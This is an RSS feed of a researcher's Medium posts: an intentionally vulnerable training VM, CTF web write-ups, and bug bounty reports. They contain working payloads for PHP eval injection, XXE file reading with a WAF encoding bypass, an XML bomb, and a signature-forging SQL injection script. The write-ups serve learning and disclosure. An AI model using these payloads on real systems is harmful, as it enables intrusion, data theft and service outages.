<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Ahmed ElTijani on Medium]]></title>
        <description><![CDATA[Stories by Ahmed ElTijani on Medium]]></description>
        <link>https://medium.com/@S3cr3tSDN?source=rss-c46fd7f9dd37------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/proxy/1*TGH72Nnw24QL3iV9IOm4VA.png</url>
            <title>Stories by Ahmed ElTijani on Medium</title>
            <link>https://medium.com/@S3cr3tSDN?source=rss-c46fd7f9dd37------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sun, 22 Nov 2026 08:18:36 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@S3cr3tSDN/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[SecureCode1: an OSWE-like Machine]]></title>
            <link>https://medium.com/sud0root/securecode1-an-oswe-like-machine-69ec7d6c1986?source=rss-c46fd7f9dd37------2</link>
            <guid isPermaLink="false">https://medium.com/p/69ec7d6c1986</guid>
            <category><![CDATA[awae]]></category>
            <category><![CDATA[oswe]]></category>
            <category><![CDATA[web-expert]]></category>
            <dc:creator><![CDATA[Ahmed ElTijani]]></dc:creator>
            <pubDate>Fri, 12 Feb 2021 01:26:52 GMT</pubDate>
            <atom:updated>2021-06-15T13:45:51.803Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Kx9TwYyS0ZJhdh2iR35hIg.png" /></figure><h3>Source code review?</h3><p>Source code review, also known as Security Code Review is the process of auditing the source code for an application to verify that the proper security controls are present, that they work as intended, and that they have been invoked in all the right places. Code review is a way of ensuring that the application has been developed so as to be “self-defending” in its given environment.</p><p>This box has been built to enrich the training resources for the Offensive Security Web Expert (OSWE) certificate, it also helps you to learn how to discover hidden vulnerabilities that can be missed during the regular penetration test (or black-box testing).<br>- <strong>Box Name</strong>: SecureCode1<br>- <strong>Programing Language</strong>: Native PHP<br>- <strong>Difficulty</strong>: EASY<br>it’s not solvable by pure black-box testing, you need to do a lot of source code review.</p><p><strong>You’ve three objectives:<br></strong>1. Bypass Authentication → flag1<br>2. Obtain Remote Command Execution → flag2<br>3. Write your PoC code that chains the exploitation of the discovered vulnerabilities, you can also send your PoC code to <strong>ahmed [at] sud0root.com </strong>if you wish to be added to the leaderboard👇</p><p>🏆 <strong>leaderboard:</strong><br>A Contest leaderboard shows the points received by the participating players. Players need to meet the Contest rules criteria to participate and be shown in the Contest Leaderboard.</p><p><strong>The Target VM on Vulnhub.com:<br></strong><a href="https://www.vulnhub.com/entry/securecode-1,651/">https://www.vulnhub.com/entry/securecode-1,651/</a></p><p><strong>Alternatively, you can download the OVA from Mega.nz on link below: </strong>(Size: 2.0 GB)<strong><br></strong><a href="https://mega.nz/file/b4xAVRAQ#IK8ujpYsGbwxoyA4aaNERMF80EPLkPX3fv7hksXF-M8">https://mega.nz/file/b4xAVRAQ#IK8ujpYsGbwxoyA4aaNERMF80EPLkPX3fv7hksXF-M8</a></p><p>- MD5: 287f7979fdb3060bde224182a752ed18<br>- SHA1: 2b946f52d915ca74d1c7c84251435f8c8d92f2cb</p><p>- for setup see the below video:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2Fk1BwLq2k60Y%3Ffeature%3Doembed&amp;display_name=YouTube&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3Dk1BwLq2k60Y&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2Fk1BwLq2k60Y%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/6c2eff5388a79a425d3b06840ac2bb13/href">https://medium.com/media/6c2eff5388a79a425d3b06840ac2bb13/href</a></iframe><p>it&#39;s going to be series of OSWE-like boxes.<br>The next boxes will be in java, nodejs, and some PHP frameworks.</p><p>if you have feedback or you need a hint, DM me @ahmed_eltijani</p><p>Best Luck</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=69ec7d6c1986" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/securecode1-an-oswe-like-machine-69ec7d6c1986">SecureCode1: an OSWE-like Machine</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[#CTF_Writeups | Sudan National CTF 2020 | Web Challenges Writeups]]></title>
            <link>https://medium.com/sud0root/ctf-writeups-sudan-national-ctf-2020-web-challenges-writeups-5b3d183e93c3?source=rss-c46fd7f9dd37------2</link>
            <guid isPermaLink="false">https://medium.com/p/5b3d183e93c3</guid>
            <category><![CDATA[webchallenge]]></category>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <dc:creator><![CDATA[Ahmed ElTijani]]></dc:creator>
            <pubDate>Sun, 27 Sep 2020 17:37:36 GMT</pubDate>
            <atom:updated>2020-09-28T15:03:11.101Z</atom:updated>
            <content:encoded><![CDATA[<h3>Sudan National CTF 2020 | Web Challenges Writeups</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*hfbtb3BbcV7H3oXvBm4OXw.jpeg" /></figure><p>Hello everyone,</p><p>in here we are going to discuss the solutions for the web challenges of this CTF orgnized by <a href="https://fb.me/cybertalents">cybertalents</a> and <a href="https://www.trendmicro.com/">TrendMicro</a>.</p><p>we as “ScriptKiddies” team scored the first place with 825 points.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/831/1*Bkry3O0ERulngDqiLXgkEg.png" /></figure><h4>! Writeups for [reverse, crypto, forensics] challenges: <a href="https://medium.com/sud0root/sudan-national-ctf-writeups-reverse-crypto-forensics-621b1f0cf718">here</a></h4><p>let’s start with a challenge that looks easy but it took almost all the time of the contest for us to solve</p><blockquote><strong>Name:</strong> Web101</blockquote><blockquote><strong>Link:</strong> <a href="http://ec2-18-156-199-115.eu-central-1.compute.amazonaws.com/web101/">http://ec2-18-156-199-115.eu-central-1.compute.amazonaws.com/web101/</a></blockquote><blockquote><strong>Description:</strong> May the source be with you.</blockquote><blockquote><strong>Points:</strong> 50pts</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*DaUPK5Yh1QaWjGMT_RmTvg.png" /></figure><p>from the discription of the challenge we know it’s somehow related to finding the source code of the application, we tried almost everything we know to get it, starting from Directory and Parameter brute forcing and Headers fuzzing untill we discovered that it just need a request with:</p><blockquote>accept: text/php</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*BwNH81kbncSFLM1CrFchyA.png" /></figure><p>crazy huh? 😂 WHAT a ^&amp;*# developer</p><blockquote><strong>Challenge Name:</strong> Gallery</blockquote><blockquote><strong>Link</strong>: <a href="http://ec2-18-156-199-115.eu-central-1.compute.amazonaws.com/gallery/">http://ec2-18-156-199-115.eu-central-1.compute.amazonaws.com/gallery/</a></blockquote><blockquote><strong>Points</strong>: 100pts</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*gNfRl0mH1cw10w2WDN36_g.png" /></figure><p>it shows us the pictures when we click in each section, but what about section 5</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*W8TOjJ1hcVSsgxDzftXZkQ.png" /></figure><p>it looks like a GET parameter,</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/670/1*qobFgLhINR--gi0_dKZUoA.png" /></figure><p>it needs two <strong>different </strong>values that when computing the md5 of them they give has the <strong>same </strong>hash and that’s impossible.</p><p>the mistake in that code is that it uses a loose php comparison to compare between the hashes and values.</p><p>md5(&#39;240610708&#39;) = 0e462097431906509019562988736854</p><p>md5(&#39;QNKCDZO&#39;) = 0e830400451993494058024219903391</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/390/1*wHWzCNeNG00-UtNnwpuuXg.png" /><figcaption>they both equal to ZERO</figcaption></figure><p>when comparing them with “==” php will consider the two hashes as <strong>numeric values.</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/654/1*imDNtzLBkKQpyDD1u5g85w.png" /><figcaption>loose and stict comparisons</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*91WlMB9PhCU4x_ENO8_V0Q.png" /></figure><p>/fl4r3GuN2020.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eNIsMJ3M88Doe_oY7TtJGQ.png" /></figure><p>it takes a /?code=(CODE) and execute it through eval() but the code is going to pass through addslashes() first, meaning that any single or double qoutes are going to be useless.</p><p>it also needs us to execute a code written inside a string $code = “our_code_here”;</p><p>for that purpose we are going to execute it with ${eval(CODE)} but we need a code without using single or doube qoutes.</p><p>we will use $_GET[1] for taking the code from another get parameter named 1</p><p>${eval($_GET[1])}</p><p><strong>/?code=</strong>${eval($_GET[1])}<strong>&amp;1=</strong>system(“ls -la”);</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*kwmzxdPicR_iBDRGyj7Zhw.png" /></figure><p><strong>/?code=</strong>${eval($_GET[1])}<strong>&amp;1=</strong>system(“cat 2020_keep_It_53cR3t_H3r3.php”);</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/442/1*BSHlZemQ4zYGdmGThvsE7g.png" /></figure><blockquote>Challenge Name: R3cova</blockquote><blockquote>Discription: sorry for the inconvenience, our website still under construction</blockquote><blockquote>Link: <a href="http://ec2-18-156-199-115.eu-central-1.compute.amazonaws.com/revoca/">http://ec2–18–156–199–115.eu-central-1.compute.amazonaws.com/revoca/</a></blockquote><blockquote>Points: 100pts</blockquote><figure><img alt="" src="https://cdn-images-1.medium.com/max/674/1*ixT9xmbxQKCZIZ4xoJvBNw.png" /></figure><p>/users.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/710/1*a7atW6i_EansLQ_L1HE4og.png" /></figure><p>/new.php</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/695/1*dVzw81dJF2TeJTjtrXB5zQ.png" /></figure><p>in this page we can upload an xml file to add a new user, we’ve given a sample file that looks like:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/312/1*bYCgrzwhBtNCMaqCv4ddDQ.png" /></figure><p>the most suitable attack for this upload is XXE Attack (XML External Entities)</p><p>we can declare an entity to get the content of local files as follow:</p><blockquote>&lt;!DOCTYPE x[</blockquote><blockquote>&lt;!ENTITY content SYSTEM “file:///etc/passwd”&gt;</blockquote><blockquote>]&gt;</blockquote><p>then we add it to our sample file and set it to view our file content:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/374/1*Lmd3ZKQ3n8KnVnvhpHGiDA.png" /></figure><p>uploading this malicious xml triggered a firewall alert</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/684/1*IF92iZvyTh3L_nZg-rlRPQ.png" /></figure><p>we managed to bypass this firewall by modifing the encoding of the file as we know the xml parsers support different encodings like UTF-8,UTF-16.</p><p>we are going to use big endians UTF-16 AKA <strong>UTF-16BE</strong></p><pre>cat sample.xml | iconv -f UTF-8 -t UTF-16BE &gt; malicious.xml </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/550/1*EFreIrxUa74fR-igR9LZRg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/441/1*2OA6PpoW8qVMWe6xb6crNQ.png" /></figure><p>cool, it seems working but it has limit showing only the first 20 characters of the file, we could bypass that by using blind XXE techniques,</p><p>the easy way was by adding intro tag to the xml file &lt;intro&gt;UNLIMITED&lt;/intro&gt;</p><p>we discovered this field from users.php page as it showing four elements: name, email, group and intro</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/367/1*CDDMDbZLB9dPweYsHXP7qQ.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jo-haAX5n3KP9DS4vpfdRQ.png" /></figure><p>cool it’s working, we were able to find the flag in the root directory “/flag.txt”</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1018/1*l8iiJY9DqDqU0-LwHBzD9A.png" /></figure><p>and that’s it.</p><p>Thanks.</p><p><strong><em>References:</em></strong></p><p>“Magic Hashes” <a href="https://github.com/ryanking13/ctf-cheatsheet/blob/master/Cryptography/Useful_Hashes.md">https://github.com/ryanking13/ctf-cheatsheet/blob/master/Cryptography/Useful_Hashes.md</a></p><p><a href="https://www.php.net/manual/en/language.types.string.php">“</a>PHP: Strings — Manual”, <a href="https://www.php.net/manual/en/language.types.string.php">https://www.php.net/manual/en/language.types.string.php</a></p><p><a href="https://mohemiv.com/all/evil-xml-with-two-encodings/">https://mohemiv.com/all/evil-xml-with-two-encodings/</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=5b3d183e93c3" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/ctf-writeups-sudan-national-ctf-2020-web-challenges-writeups-5b3d183e93c3">#CTF_Writeups | Sudan National CTF 2020 | Web Challenges Writeups</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Bug Bounty Writeups] Exploiting Insecure XML Parsers to perform Single-Request Denial-of-Service]]></title>
            <link>https://medium.com/sud0root/bug-bounty-writeups-exploiting-insecure-xml-parsers-to-perform-single-request-denial-of-service-81fddd7f877f?source=rss-c46fd7f9dd37------2</link>
            <guid isPermaLink="false">https://medium.com/p/81fddd7f877f</guid>
            <category><![CDATA[xml-attack]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[bug-bounty-writeup]]></category>
            <category><![CDATA[billion-laughs-attack]]></category>
            <category><![CDATA[bug-bounty]]></category>
            <dc:creator><![CDATA[Ahmed ElTijani]]></dc:creator>
            <pubDate>Tue, 08 Sep 2020 16:32:13 GMT</pubDate>
            <atom:updated>2020-09-08T17:09:55.702Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/700/1*fT_mHZDjA8FcFjwcDulrfg.jpeg" /></figure><p>Hello <a href="http://twitter.com/everyone">@everyone</a> 😅 <br>here is a writeup for a bug reported to one of bug bounty programs.</p><p>the bug targeted XML parsers and it allows for server resources exhaustion leading to complete denial of service.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/380/1*61DCoiisRAw0AsWoEdGeig.png" /></figure><p>During recon phase i found an endpoint that respond with XML formated content 👇 the response looks interesting. I decided to go deeper and test this endpoint 😈</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9KUO0Spr1_noE-wepkDGIw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*9HHs3-w-eoTwcapdE_2r7g.png" /></figure><p>as mentioned in the response, my request was missing some parameters, i tried different techniques trying to get the missing parameters, i tried bruteforcing GET,POST parameters 😣, copying response xml tags and pasting them as GET,POST parameters like ?transactionID ?pTxId , but nothing found😢. few hours later, i realized that the endpoint need an XML-formatted request 😁 so:</p><ol><li>right click in burp suite repeater and changed request method.</li></ol><p>“GET /endpoint HTTP/1.1”</p><p>to</p><p>“POST /endpoint HTTP/1.1”</p><p>2. changed the “content-type:” to “text/xml”</p><p>3. copied the response body and pasted it in the request body. 😈</p><p>my request was looking like this:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*I0VmT8YTv7iosG0keGMdbg.png" /></figure><p>i sent the request and also got the same response “Missing some parameters 🤫”</p><p><strong>i noticed this xml tag &lt;initResponse&gt;</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/400/1*9oVDdsmUy5WeafO64aKkiw.jpeg" /></figure><p>i changed:</p><p>&lt;init<strong>Response</strong>&gt;</p><p>to</p><p>&lt;init<strong>Request</strong>&gt;</p><p>and sent the request 😈, guess what? !i found the missing link 😎</p><p>the response was:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/781/1*orz8HS2a_NQX_i-N0iexDQ.png" /></figure><p>as you see, the value of request &lt;transactionID&gt; was reflected in the response, the backend is parsing my XML request. let’s see if this parser could process entities.</p><p>Request:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Lu8EzYe--bfk5mIsheDthg.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/699/1*OV7j2o7vNwyUGqUk_mAfcQ.png" /></figure><p>YES 😄 , the parser successfuly printed my entity.</p><p>i’ve tried to exploit it to get an rce by declaring external entities through SYSTEM, PUBLIC and local dtds but nothing was successful. so i tried to exploit it through that internal entity.</p><p><strong>XML Bomb </strong>💣 A.K.A<strong> Billion laughs attack :</strong></p><p>it’s attack exploiting XML parsers to run the server out of resources, the attack works by defining 10 entities, each defined as consisting of 10 of the previous entity, with the document consisting of a single instance of the largest entity, which expands to one billion copies of the first entity.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OOVc5dQ6qgI_6QPTi-dO-g.png" /><figcaption>at the end, lol9 entity will contain billion of the first entity “😂”, thats why it called billion laughs 😂</figcaption></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/323/1*9UpRZnHJs7nHmrDVCLZMdA.png" /></figure><p>let’s kill the server “api.redacted.com” 👿</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5L--rVW__JNBWRBtfgLUqA.png" /></figure><p>it took <strong>41.5 seconds</strong> for the server to reply to with “502 bad Gateway”.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/976/1*hKlOqMeclYsRannCp61X_g.png" /></figure><p>try to repeat the request?! no, because it was already down 😈</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/322/1*GVxHOtBjTIPKH-SnGbp-gw.png" /></figure><p>the bug was reported to the program and it didn’t take so long for them to get the server up again. they fixed the bug and rewarded me with $375.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/298/1*5VXp24Hp-pIeAMIm03K9FA.png" /></figure><p><strong><em>References</em></strong><em>:</em></p><p><em>Sullivan, Bryan (November 2009). </em><a href="http://msdn.microsoft.com/en-us/magazine/ee335713.aspx"><em>“XML Denial of Service Attacks and Defenses”</em></a><em>. MSDN Magazine. </em><a href="https://en.wikipedia.org/wiki/Microsoft_Corporation"><em>Microsoft Corporation</em></a><em>.</em></p><p>Thanks,</p><p><a href="https://medium.com/u/c46fd7f9dd37">Ahmed ElTijani</a></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=81fddd7f877f" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/bug-bounty-writeups-exploiting-insecure-xml-parsers-to-perform-single-request-denial-of-service-81fddd7f877f">[Bug Bounty Writeups] Exploiting Insecure XML Parsers to perform Single-Request Denial-of-Service</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[Bug Bounty Writeups] Exploiting SQL Injection Vulnerability]]></title>
            <link>https://medium.com/sud0root/bug-bounty-writeups-exploiting-sql-injection-vulnerability-20b019553716?source=rss-c46fd7f9dd37------2</link>
            <guid isPermaLink="false">https://medium.com/p/20b019553716</guid>
            <category><![CDATA[bug-bounty]]></category>
            <category><![CDATA[bug-hunting]]></category>
            <category><![CDATA[sql-injection]]></category>
            <dc:creator><![CDATA[Ahmed ElTijani]]></dc:creator>
            <pubDate>Thu, 30 Apr 2020 13:59:47 GMT</pubDate>
            <atom:updated>2020-04-30T13:59:47.761Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Jk-9O20AhzAUxp9gdgYfOQ.jpeg" /></figure><p>I’m going to share this concise writeup for a bug reported to one of bug bounty programs on hackerone</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/474/1*fZ2y6VtMQvLRm4VEwMHiKg.jpeg" /></figure><p>The bug was a very Straight Forward, but there was an obstacle that could prevent it from being discovered. <br>the problem was that you need to provide a valid signature for each request you submit.😲</p><p>let’s say the endpoint looks like this:</p><blockquote><a href="http://site.com/vuln.php?param=1&amp;sig=MD5_HASH">http://site.com/vuln.php?param=1&amp;sig=MD5_HASH</a></blockquote><p>The backend server will first validates the request to see whether a valid signature is provided, then continues and processes the request.<br>so,<br>if we need to test that endpoint we first need to know how signatures are calculated,<br>for this purpose I took a look at the developers’ documentation. i was very lucky that i found the SecretKey used in the generation of MD5 signature leaked in these documentations. 🥳</p><p>How signatures are calculated:</p><blockquote>signature = md5 ( params_value + SecretKey )</blockquote><p>the signature is md5sum of all parameters value concatenated with the SecretKey,</p><p>let’s say the SecretKey was “AABBCCDDEEFFGG”</p><p>that means, if we need request like this:</p><blockquote>vuln.php?param=1111&quot;</blockquote><p>then signature must be:</p><blockquote>md5 ( 1111&quot; + AABBCCDDEEFFGG)<br>= md5(1111&quot;AABBCCDDEEFFGG) <br>= d2d0114df70a4485a8d836efa018b28d</blockquote><p>final request looks like:</p><blockquote><a href="https://site.com/vuln.php?param=1111">https://site.com/vuln.php?param=1111</a>&quot;&amp;sig=d2d0114df70a4485a8d836efa018b28d</blockquote><p><em>above request triggered SQL error </em>😎</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/753/1*iL8Bq1Ni7cm4VP78QcJE1A.png" /></figure><p>🥺🥺🥺🥺🥺🥺🥺</p><p>i was asked by the team to dig deeper in exploiting this vulnerability and to provide a POC that result in a 10 seconds delay in the server response 🤐</p><p>for that purpose i’ve to try several queries, so i’ve written this very simple php script to save the time that would be spent in signature generation</p><blockquote>&lt;?php <br>$param = urlencode($argv[1]);<br>$SecretKey = “AABBCCDDEEFFGG”;<br>$req = “http://site.com/vuln.php?param=&quot;.$param.&quot;&amp;sig=&quot;.md5($param.$SecretKey);<br>echo file_get_contents($req);<br>?&gt;</blockquote><p>by running the code from the termainal:</p><blockquote>$ php exp.php 1&quot;</blockquote><p><a href="http://site.com/vuln.php?param=1">http://site.com/vuln.php?param=1</a>&quot;&amp;sig=5a8xd71839d8073218e5761025791d2c</p><p>gives → MySQL Error 🧐</p><blockquote>$ php exp.php 1&quot; ORDER BY 1 — +-</blockquote><p><a href="http://site.com/vuln.php?param=1+ORDER+BY+1--%2B-&amp;sig=f8b8cb839d8j33218odi610sq2791d2c">http://site.com/vuln.php?param=1+ORDER+BY+1--%2B-&amp;sig=f8b8cb839d8j33218odi610sq2791d2c</a><br>.<br>.<br>.etc<br>.</p><blockquote>$ php exp.php 1&quot; UNION SELECT 1,SLEEP(10),3 — +-</blockquote><p><a href="http://site.com/vuln.php?param=1+UNION+SELECT+1%2CSLEEP%2810%29%2C3--%2B-&amp;sig=32a097a82139a371bcb6839e0aa103e8">http://site.com/vuln.php?param=1+UNION+SELECT+1%2CSLEEP%2810%29%2C3--%2B-&amp;sig=32a097a82139a371bcb6839e0aa103e8</a><br>got a 10 seconds delay 😁.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/656/1*3QzlInjS0RMvbMTaIAACDQ.png" /></figure><p>😪😪😪😪</p><p>it was double qoute injection, Automated tools will not work in this case since they have no idea about that signature (you can code your own tamper script for sqlmap to automate it).</p><p>the bug was submitted to the program, it has CVSS of 10/10 and classified as Critical, the Program paid $2000 for this bug, it was the maximum payout the program could pay that time.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/622/1*fmzyQRbg7K0lMv4k0KzrNA.png" /></figure><p>Cheers 🥂</p><p>./S3cr3tSDN</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=20b019553716" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/bug-bounty-writeups-exploiting-sql-injection-vulnerability-20b019553716">[Bug Bounty Writeups] Exploiting SQL Injection Vulnerability</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Read Cache | Web Challenge | Arab Regional CTF 2018]]></title>
            <link>https://medium.com/sud0root/read-cache-web-challenge-arab-regional-ctf-2018-7d2def584773?source=rss-c46fd7f9dd37------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d2def584773</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[web-security]]></category>
            <category><![CDATA[application-security]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <dc:creator><![CDATA[Ahmed ElTijani]]></dc:creator>
            <pubDate>Tue, 31 Dec 2019 21:50:01 GMT</pubDate>
            <atom:updated>2020-01-01T00:33:37.698Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*dD0nzdQZlWz3FAbN9-E8bw.png" /></figure><blockquote><strong>Challenge Name:</strong> Read Cache<br><strong>Category:</strong> Web<br><strong>Points:</strong> 300 <br><strong>Description: </strong><br>this social network is using redis as cache database, and they hide the flag in it <a href="http://35.188.196.153/readcache/">http://35.188.196.153/readcache/</a></blockquote><p><strong>Writeup</strong>:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FUwnLFziwSBk%3Ffeature%3Doembed&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DUwnLFziwSBk&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FUwnLFziwSBk%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/02ede62d549bdb7b8b80fe6253a048fa/href">https://medium.com/media/02ede62d549bdb7b8b80fe6253a048fa/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7d2def584773" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/read-cache-web-challenge-arab-regional-ctf-2018-7d2def584773">Read Cache | Web Challenge | Arab Regional CTF 2018</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[API | Web Challenge | Arab Regional CTF 2018]]></title>
            <link>https://medium.com/sud0root/api-web-challenge-arab-regional-ctf-2018-7257c0ba3d26?source=rss-c46fd7f9dd37------2</link>
            <guid isPermaLink="false">https://medium.com/p/7257c0ba3d26</guid>
            <category><![CDATA[ctf]]></category>
            <category><![CDATA[capture-the-flag]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[web-security]]></category>
            <dc:creator><![CDATA[Ahmed ElTijani]]></dc:creator>
            <pubDate>Tue, 31 Dec 2019 21:43:59 GMT</pubDate>
            <atom:updated>2020-01-01T00:31:35.188Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/833/1*w2aSzWovmBaSLIkhvvRrDQ.png" /></figure><blockquote><strong>Challenge Name:</strong> API</blockquote><blockquote><strong>Category: </strong>Web</blockquote><blockquote><strong>Points:</strong> 200</blockquote><blockquote><strong>Description:</strong></blockquote><blockquote>this is the url to flag, only admin can view it, can you get it ?</blockquote><blockquote>http://35.193.45.56/api/api.php?version=2&amp;action=flag</blockquote><p><strong>Writeup</strong>:</p><iframe src="https://cdn.embedly.com/widgets/media.html?src=https%3A%2F%2Fwww.youtube.com%2Fembed%2FFCTYhHupmiI%3Ffeature%3Doembed&amp;url=https%3A%2F%2Fwww.youtube.com%2Fwatch%3Fv%3DFCTYhHupmiI&amp;image=https%3A%2F%2Fi.ytimg.com%2Fvi%2FFCTYhHupmiI%2Fhqdefault.jpg&amp;key=a19fcc184b9711e1b4764040d3dc5c07&amp;type=text%2Fhtml&amp;schema=youtube" width="854" height="480" frameborder="0" scrolling="no"><a href="https://medium.com/media/c1ca46cdb709af38b1637176cfdd675d/href">https://medium.com/media/c1ca46cdb709af38b1637176cfdd675d/href</a></iframe><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=7257c0ba3d26" width="1" height="1" alt=""><hr><p><a href="https://medium.com/sud0root/api-web-challenge-arab-regional-ctf-2018-7257c0ba3d26">API | Web Challenge | Arab Regional CTF 2018</a> was originally published in <a href="https://medium.com/sud0root">SUDOROOT</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
    </channel>
</rss>